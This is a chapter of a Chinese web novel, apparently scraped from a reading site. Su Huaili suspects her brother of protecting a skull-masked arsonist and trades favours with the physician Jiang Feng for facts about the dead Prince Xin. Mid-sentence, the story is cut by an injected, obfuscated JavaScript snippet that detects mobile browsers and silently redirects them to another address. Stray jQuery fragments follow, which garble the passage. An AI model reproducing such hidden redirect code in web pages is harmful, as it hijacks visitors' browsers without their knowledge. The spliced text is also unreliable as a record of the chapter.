默认冷灰
24号文字
方正启体

12. 交易

作者:意昭昭本书字数:K更新时间:
    苏怀黎反复梦到那名戴着骷髅面具的男子。


    起先只是梦到自己逃跑时的惊慌,后又悔恨自己没有看清那人的脸,直到第三个梦境,她又梦到自己寻着小猫的踪迹,走到那堵墙下。


    那名黑衣男子翻身跳下墙,她有意识地压下心中的恐惧,强制自己不转身逃跑,男子第一时间察觉到她的存在,但似乎对她并没有恶意。


    直至他愈走愈近,在自己跟前停下。


    她听见他问:“为何不逃?”


    苏怀黎努力地记住此人的身形和语气,但因为在梦中,一切都显得极为不真实。


    她抬起头与那人直视,丝毫不显胆怯:“你到底是谁?”


    那人抬起右手,轻轻摘掉骷髅面具,轻笑道:“阿黎,好久不见。”


    苏怀黎瞳孔瞬间放大,脑中几乎一片空白,甚至觉得呼吸都停滞了。


    因为冲击太大,她又毫不意外地在梦中晕厥过去。


    直至她猛然醒了过来,如获自由一般拼命地喘气,白皙的额头细细地冒出冷汗。


    为什么。


    为什么会是他。


    为什么摘下面具之后,她见到的是祝无恙。


    莫非是自己日有所思,夜有所梦,拼命想看清那人的脸,却将他幻想成了祝无恙。


    她揉了揉自己的眉心,轻晃脑袋试图让自己清醒,强撑起身子睁开眼看向四周的景象,确认自己终于彻底挣脱了梦境后,才脱力虚弱地靠在床头。


    微风透过窗的缝隙吹进屋内,床幔微微晃动。


    她睡下的时候已经快到卯时了,可观窗外的天依旧是朦胧微亮的,自己竟然只睡了不到一个时辰。


    她轻轻叹了口气,再这样下去,怕是要魔怔了。


    *


    苏府的早膳时间设在了辰时,苏怀黎难以入眠,便起了个大早,梳洗装扮后进了中堂。


    因为昨日那一遭,众人回到房中已经很晚了,今日只有苏夫人起床用早膳。


    许氏见苏怀黎早早地在中堂等候,开口关心道:“为何不在房中多睡几个时辰,昨日你受惊了,应当好好休息才是。”


    入座后,许氏瞧见她面色苍白,又贴心给她盛了一碗清粥。


    因着许氏常年礼佛的缘故,苏府早膳安排的都是清淡的素斋饭。


    苏怀黎接过盛好粥饭,有些心不在焉地喝了几口,问道:“母亲,兄长今早还未归家吗?”


    许氏叹了口气:“是啊,他今早特地差人回话,说是近几日都要留在宫中当值。”


    苏怀黎没滋没味地又尝了一口,心念道,看来还得过些日子,自己才能找苏怀景询问案情的结果了。


    无端地,苏怀黎脑中闪过昨日苏怀景的神情。


    慢慢地,竟然品出几分不对劲。


    一开始,他得知自己遇到贼人,神情十分关切,但当她提到那个骷髅面具时,他眼中分明闪过了一丝错愕和震惊。


    但是她只顾着回忆,忘却了这个细节。


    如今想来,却有些耐人寻味。


    苏怀黎若有所思地放下手中的瓷碗,早膳过后,她便出了府,直奔清风楼。


    她前世无意得知过,清风楼是苏怀景名下房产,若真如她猜测的那般,苏怀景与纵火之人有交情,那么他必然会与那人碰面。


    苏怀景能第一时间为那人打掩护,可见两人交情非同一般。


    她特地选了与苏怀景专属房间相邻的另一间,此房间位置极佳,可以清楚地观察到楼下来往的马车。


    连着三日,苏怀黎都特地支开了云归和芙蓉,在清风楼二楼蹲点。


    直至有辆马车徐徐驶过,停下了清风楼门口。


    苏怀黎一眼就认出了那是苏怀景的马车。


    苏怀景的那间房是专门设计过的,房间的隔音极好,偷听这一招自然是行不通的,她足足在隔壁蹲了半个多时辰,才等到他再次推开房门。


    苏怀景见到她的第一时间,眼中明显闪过慌乱和诧异,被她轻而易举捕捉到了。


    因为慌乱,所以房门尚未紧闭,苏怀黎的余光往里头瞥了一眼。


    很快,恍若一阵风拂过,房门便关上了。


    苏怀黎压下心中的异样,仅有指尖微微颤抖。


    她故作惊讶道:“兄长,你竟也在清风楼,我听母亲说,这几日你在朝中事务繁忙,我想吃荔枝桃山,便自己来了清风楼。”


    她神色单纯,口吻欢快,苏怀景心想,应当只是巧合。


    苏怀黎又恍若好奇地往房内探探:“兄长今日来清风楼作何?莫非是背着我开小灶?”


    苏怀景下意识移动身体挡住了门,轻咳一声:“哪能啊,有好吃的我早就第一时间带回家了,只是下朝之后想起前几日有个物件落在了清风楼,我顺路过来取。”


    “哦......是什么重要东西,找到了吗?”苏怀黎若有其事地接过话茬。


    “也不算什么重要的东西,几日不来,可能早已给人捡走了,”苏怀景刻意想要支开她,“我也好几日没有休息了,既然东西找不到,那就先回府吧。”


    苏怀黎看似乖巧地点点头:“那我同兄长一道回府吧。”


    实则她心里清楚,苏怀景一番话里全是破绽,找什么物件,需要花上半个时辰?


    两人下楼离开后,二楼房中一侧窗户却微微打开,见两人有说有笑地上了马车。


    楼上的人面戴骷髅面具,看不出任何神情。


    两人聊了一路,但只字未提几日前的纵火案,苏怀黎好似全然不关心那件事。


    越是这样,苏怀景心中越是泛起疑惑,为何苏怀黎会无端出现在清风楼,好似在等着他一般,为何今日云归没有贴身跟着苏怀黎。


    到了苏府后,苏怀黎借口在清风楼已经用过膳,便先回到黎湘阁。


    一回到房中,苏怀黎紧憋的一口气终于得以舒展。


    她的猜测是对的,就是那一刻,她往房门一瞥,电光火石间,窥见了房中站着一位戴着骷髅面具的男子。


    她慢慢地沉下身子,坐在椅子上。


    此刻,苏怀黎才终于意识到,自己的兄长似乎并不像表面上看那样简单。


    他刻意让自己瞒着纵火犯的消息,为的就是让刑部的人不顺藤摸瓜找到真凶。


    也就是说,若纵火之人是信王的同党,那苏怀景自然与信王脱不了干系。


    而自己若是信王的女儿......


    那当年苏怀景当真是无意路过淮州才将自己解救的吗?


    他救下自己,图谋的是什么?


    苏怀黎不禁怅然,看来自己前世当真是白活了一场。


    *


    深夜,在无人注意之时,一抹雪白清丽的背影离开了苏府。


    江南正准备睡下,陡然听到外头有敲门声,揉了揉眼睛,朝外喊了一声:“谁啊?”


    甫一开门,却见门口站着一位披着雪白羽绒斗篷的女子。


    女子脱下厚重的帽檐,露出精致的容貌,在夜中熠熠生辉。


    江南一时间看呆了,磕磕绊绊道:“苏...苏小姐。”


    苏怀黎温声道:“小大夫,深夜造访打扰了,可否为我引见堂主。”


    现下虽已入春,但是深夜的寒气还是很重。


    江南忙着将人请进屋,去后堂请示江枫。


    屋内烛火通明,依旧是熏了苦艾香,江枫一袭白袍端坐在案几前。


    他吩咐江南去燃炭火,随后问道:“我见苏小姐今日面色红润,体态轻盈,身体应是好了许多,深夜到访,所谓何事?”


    江枫是个聪明人,一眼就知道她有别事所求。


    于情于理,自己都应该在明日百世堂开门的时候再来,只是她心中实在有太多困惑,难以释怀。


    只能趁着深夜,偷偷跑出府。


    此时黎湘阁烛火已灭,云归应该以为她睡下了。


    苏怀黎直抒来意:“今日怀黎来百世堂,是想找大夫问个人。”


    江枫顿觉诧异,微挑起眉,笑道:“江某不过是一介大夫,不及苏小姐的家世显耀,不知是何人需要劳烦苏小姐纡尊降贵来百世堂询问。”


    苏怀黎知道江枫不是简单的人物,前世他能靠着小小的百世堂就得皇上重用,其中必然有他自己的门道。


    她也不拐弯抹角:“江大夫过谦了,怀黎当真有一事相求,现下也只有江大夫能为我解答。”


    “那不妨说来听听。”


    苏怀黎凝视对面的人,问道:“江大夫可知道信王?”


    闻言,江枫微微蹙眉:“信王的生平我确实略知一二,不过......”


    迟疑片刻后,他又道:“苏小姐,此人身份太过特殊,常言道祸从口出,江某今日将此事告知与你,明天不会就有官兵上门封了我的百世堂吧。”


    “再者说,苏小姐与我不过是普通的医患关系,这对我来说风险太大了。”


    江枫四两拨千斤地拒绝了她,苏怀黎并不感觉意外。


    但她既然会深夜来百世堂,自然是做了万全的准备,不会让自己空手而归。


    苏怀黎神色如旧道:“江大夫所言甚是,只是怀黎还有一事,想让你为我解答一二。”


    “何事?”


    “百世堂开在了京城最繁华的地段,却只为普通甚至贫穷的伤患看病,江大夫医者仁心,若想扶危救困,大可以在京城的其他地段开药铺,又何必浪费这昂贵的租金。”


    江枫眸色一沉,但不言语。


    苏怀黎继续道:“其实京中像江大夫这样的人不在少数,但你与他们不同的一点在于,他们来京城是为了求财求名,盼望着有朝一日被达官显贵看上了,日后也就不用再为钱为名发愁,江大夫既不求财也不求名,所以怀黎甚是疑惑,江大夫一年前千里迢迢来京城开了百世堂,是为了什么?”


    说到此处,江枫平静的面色终于有了一寸破裂。


    但不是恼怒或戒备,而是浮现一丝欣赏与兴趣。


    他轻轻挑眉一笑:“江某一介草民,还能让苏小姐大费周章地调查了一番,是江某的荣幸。”


    前世,江枫能够凭借一身医术得到圣文帝的赏识,必然是费了不少心力,但江枫此人并不是贪财爱权之人,他费尽心思爬到高处,说明他所求之事,只有皇帝那


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15105965|163872||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    样位高权重之人能够帮他实现。


    苏怀黎一脸真诚道:“怀黎刚刚一番言论,并不是为了抓住江大夫的把柄或是其他,而是为了谋求与江大夫的合作。”


    他问道:“合作?”


    “怀黎虽家境优渥,但也深陷围墙之中,行事多有不便,需要借用这百世堂四通八达的优势,而江大夫虽然身居闹市,耳听六路眼观八方,但却难以接触了地位更高的人。”


    “是以,怀黎想和江大夫做个交易。”


    一番话竟让江枫找不出任何破绽,亦或是拒绝的理由。


    因着先入为主的印象,江枫一开始对苏怀黎更多是怜惜之情,如今苏怀黎这一番话,着实让他另眼相看。


    他眼角露出一丝笑意,从容道:“那江某,恭敬不如从命了。”


    他松了口,苏怀黎便直接进入正题:“江大夫可知道,信王膝下可曾有子嗣?”


    “据江某所知,信王此人膝下无儿无女,并且只有一位王妃,名为钟离玥。”


    这个回答出乎她意料,一时间有些震惊:“他贵为王爷,竟然连一个子嗣都没有?”


    “嗯,”江枫答道,“听闻信王妃早年就被太医诊断为不孕之身,但两人多年伉俪情深,信王也不曾纳妾。”


    “那如今世上,可还存留信王一脉?”


    江枫道:“信王被查出通敌一事之后,其王府遭遇流寇洗劫,全府上下一个不留,结案后,王妃钟离氏一族亦被连累,全数流放西北。”


    苏怀黎的心幽幽地沉了下去。


    沉默了片刻,她又打听起了当今皇室一脉的情况,以图找出一丝线索。


    先帝武康帝在位时,李氏一脉的子嗣就已薄弱,皇后膝下只有两位皇子,李玄和李易。


    李玄出身之时,武康帝大喜,立刻册封他为大乾的太子。


    但因先皇后生产时难产大出血,所以李玄出生后就染了病体。


    武康帝常年带领军队征战西北,李玄却因先天不足,无法继承武康帝在武力方面的天赋,只能留在朝中,以贤德之名见长。


    但几年后,众人未料到的是,先皇后再次怀孕产下次子李易。


    两人一母所出,但李易却在武力方面展现了惊人的才能,不到十岁就随着武康帝前往西北征战。


    苏怀黎疑惑道:“皇后膝下只有两个皇子,偏偏次子更受皇帝偏爱,他们不会因太子之位发生矛盾吗?”


    江枫颔首道:“当年确实有传闻武康帝想废太子立次子,不过太子贤德,在朝中有众多大臣拥护,废太子之事就被当做谣言处理,此后不了了之了。”


    宣武二十四年,先帝驾崩,太子李玄顺理成章地登上了皇位,改年号为永昭。


    也是永昭元年,李易退居封地,再也不过问朝廷之事。


    皇兄登基,皇弟远离朝堂甘愿留在封地,其中缘故未免太过微妙。


    “那后来呢?”


    “后来,信王当真就消失在了众人的视线中,与夫人在封地安居乐业,直至淮州有流寇作案,信王府被洗劫一空。”


    苏怀黎脸上露出难以置信的神情:“你......你说信王封地在淮州?”


    江枫点头:“是的,信王隐退之后就长居淮州。”


    苏怀黎有些恍惚:“那你可知灵元寺?”


    江枫“嗯”了一声,徐徐答道:“不知是巧合还是故意为之,当年流寇在淮州作案,先是洗劫了信王府,而后又一把火烧了灵元寺。”


    观苏怀黎神情惨淡,江枫不动声色地停下了说话的节奏。


    直到苏怀黎再次追问:“那信王与镇守西北的祝山将军之间有何牵扯?你说信王一度追随先帝,平复西北,那他应是一个侠肝义胆的武将,为何要与敌国勾结,害得沂州战败,祝家军伤亡惨重。”


    “江某不敢妄自揣度,听闻祝山将军与信王曾是在战场上出生入死的兄弟,但阴错阳差下,两人却同时丧生异地,令人唏嘘。”


    这仿佛是一个无解的死结,毕竟是皇帝亲自结的案,君无戏言,谁敢有异议。


    苏怀黎并没有知道真相后的畅快,她只感觉疲惫且无力。


    “多谢江大夫为我解答。”她扯出一抹淡淡的笑,略带疲惫地道谢。


    “不必多谢,苏小姐也说了,我们是合作关系,”


    江枫直言不讳:“江某也想让苏小姐替我找个人。”


    闻言,苏怀黎勉强打起精神。


    毕竟是一场交易,她已经得到了自己想要的答案,接下来是该她出力的时候了。


    “我要找的人,名为花栩,他医术了得,旁人难出其右,苏小姐若听闻此人的踪迹,或是见到与他相似的可疑之人,烦请告诉江某。”


    苏怀黎应下,能让江枫说出这番评价,此人恐怕不简单。


    江枫在纸上写下“花栩”二字,递给苏怀黎。


    苏怀黎细细记下,又略带疑惑地问:“此人与江大夫是何关系?你此番进京就是为了寻他?”


    “不错,”江枫不置可否,只是眸中微暗,“我与他师出同门,他是我的师弟。”


    “亦是我的仇人。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)